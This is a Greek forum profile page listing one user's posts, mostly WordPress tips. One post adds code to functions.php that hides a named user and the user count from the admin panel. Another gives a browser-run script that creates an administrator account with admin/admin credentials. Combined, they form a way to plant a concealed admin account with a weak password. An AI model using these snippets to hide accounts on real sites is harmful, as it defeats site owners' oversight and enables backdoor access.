Jump to content
Slate Blackcurrant Watermelon Strawberry Orange Banana Apple Emerald Chocolate Marble
Slate Blackcurrant Watermelon Strawberry Orange Banana Apple Emerald Chocolate Marble

MichaelRafael

Developers
  • Content Count

    15
  • Joined

  • Last visited

  • Days Won

    1
  • Feedback

    N/A

Posts posted by MichaelRafael


  1. Hello Forum! Σαν μια κοινότητα θα μπορούσαμε να αρχίσουμε να γινόμαστε πιο ενεργοί . Τι θα λέγατε να ξεκινήσουμε όλοι μαζί κάποιο project. Όσα άτομα ενδιαφέροντα και έχουν να προτείνουν ιδέες να της γράψουν σε comment!


  2. Πηγαίνετε στο functions.php αρχείο και προσθέστε τον παρακάτω κώδικα :

    add_action('pre_user_query','yoursite_pre_user_query');
    function yoursite_pre_user_query($user_search) {
    global $current_user;
    $username = $current_user->user_login;
    
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
    "WHERE 1=1 AND {$wpdb->users}.user_login != 'replace_user'",$user_search->query_where);
    
    }
    
    function hide_user_count(){
    ?>
    <style>
    .wp-admin.users-php span.count {display: none;}
    </style>
    <?php
    }
    
    add_action('admin_head','hide_user_count');

    ΠΡΟΣΟΧΗ Όπου υπάρχει το replace_user  θα βάλετε το όνομα του user που θέλετε να κρύψετε. 

    • Like 3

  3. DzYxpT9.jpg

    Μέσα από αυτό το σίτε αυτό μπορείτε να βρείτε το theme και τα plugins που χρησιμοποιεί  μια ιστοσελίδα (Wordpress). Το μόνο που έχετε να κάνετε είναι να αντιγράψετε τον σύνδεσμο της ιστοσελίδας (που θέλετε να βρείτε) και αυτόματα θα σας δείξει τα αποτελέσματα . :ph34r:

    Link

    • Like 4

  4. Για να λέμε την αλήθεια καμιά εταιρία δεν προσφέρει κάτι αξιόλογο . Η προσωπική μου άποψη είναι ότι ο ΟΤΕ είναι λίγο καλύτερος από τις άλλες εταιρίες . ( Βέβαια εδώ στην Ελλάδα η ποιότητα της γραμμής αλλάζει ανά περιοχή οπότε όλες είναι σχεδόν στην ίδια  κλίμακα ) ^_^

    • Like 3

  5. 16 minutes ago, Giannis said:

    Παρατηρώντας τον κώδικα θα ήθελα να σημειώσω για όσους δεν θα προσέξουν και ίσως προσπαθείσουν να τον τρέξουν ως έχει ότι πρέπει να αλλαχθούν οι εξής μεταβλητές με αυτές που θέλουμε.

    
    // Change this , you are free to put the logins you want ^_^
    $newusername = 'Εδώ βάζουμε το username';
    $newpassword = 'Εδώ βάζουμε το password';
    $newemail = 'Εδώ βάζουμε το e-mail';

     

    Ωραίος ίσως έπρεπε να το διευκρινίσω. Επίσης στο email και να μην βάλουν κάτι δεν υπάρχει πρόβλημα . 

    • Like 3

  6. <?php
    // Admin User Auto Add 
    // Don't Forget to remove this script after user add ! 
    // Put this file in your Wordpress /Public_html Directory and run it from your browser \!/
    
    
    require_once('wp-blog-header.php');
    require_once('wp-includes/registration.php');
    
    // Change this , you are free to put the logins you want ^_^
    $newusername = 'admin';
    $newpassword = 'admin';
    $newemail = 'youremailhere';
    
    // Set The Configs vars
    if ( $newpassword != 'YOURPASSWORD' && $newemail != 'YOUREMAIL@TEST.com' && $newusername !='YOURUSERNAME'  ) 
    {
    	// Check that the user doesn't exist already
    	if ( !username_exists($newusername) && !email_exists($newemail) ) 
    	{
    		// Create the admin user and set the role to Administrator
    		$user_id = wp_create_user( $newusername, $newpassword, $newemail);
    		if ( is_int($user_id) )
    		{
    			$wp_user_object = new WP_User($user_id);
    			$wp_user_object->set_role('administrator');
    			echo 'Successfully created new admin user. Now delete this script ^_^ and dont be lazy !  Username:admin Password:admin';
    		} 
    		else {
    			echo 'Error with wp_insert_user. No users were created , you are drunk man xD go watch cartoon !';
    		}
    	} 
    	else {
    		echo 'This user or email already exists , you are drunk man xD put glasses °_° !';
    	}
    } 
    else {
    	echo "You didn't set a password, username, or email inside the script before running the script , you drunk man xD !";
    }
    
    ?>

     

    • Like 2
×